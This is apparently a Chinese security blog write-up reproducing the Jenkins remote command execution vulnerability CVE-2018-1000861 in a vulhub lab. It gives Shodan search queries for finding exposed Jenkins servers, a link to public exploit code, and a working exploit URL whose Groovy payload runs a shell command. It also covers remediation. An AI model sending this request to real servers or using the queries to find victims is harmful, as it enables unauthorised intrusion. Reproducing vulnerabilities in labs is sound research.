CVE-2018-1000861 Jenkins远程命令执行漏洞复现

CVE-2018-1000861 Jenkins远程命令执行漏洞复现

漏洞简述

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。

通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。

漏洞影响版本

  • Jenkins <= 2.153
  • Jenkins LTS <= 2.138.3

Shodan 搜索语法

http.favicon.hash:81586312

由于shodan不支持通配符,所以具体的版本号可以使用关键字 X-Jenkins: 单独过滤。

http.favicon.hash:81586312 "X-Jenkins: 2.13"

漏洞exp

https://github.com/orangetw/awesome-jenkins-rce-2019

漏洞环境搭建

使用vulhub进行复现。启动一个Jenkins 2.138,包含漏洞的插件也已经安装。

漏洞复现

http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
?sandbox=true
&value=public class x {
  public x(){
    "touch /tmp/success".execute()
  }
}

命令执行成功。

溯源排查

Jenkins没有web请求日志,无法排查。

修复方式

升级至最新版本。

赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。

目前为止有一条评论

匿名 发布于8:14 下午 - 4月 22, 2024

请问“包含漏洞的插件”是什么呀

发表评论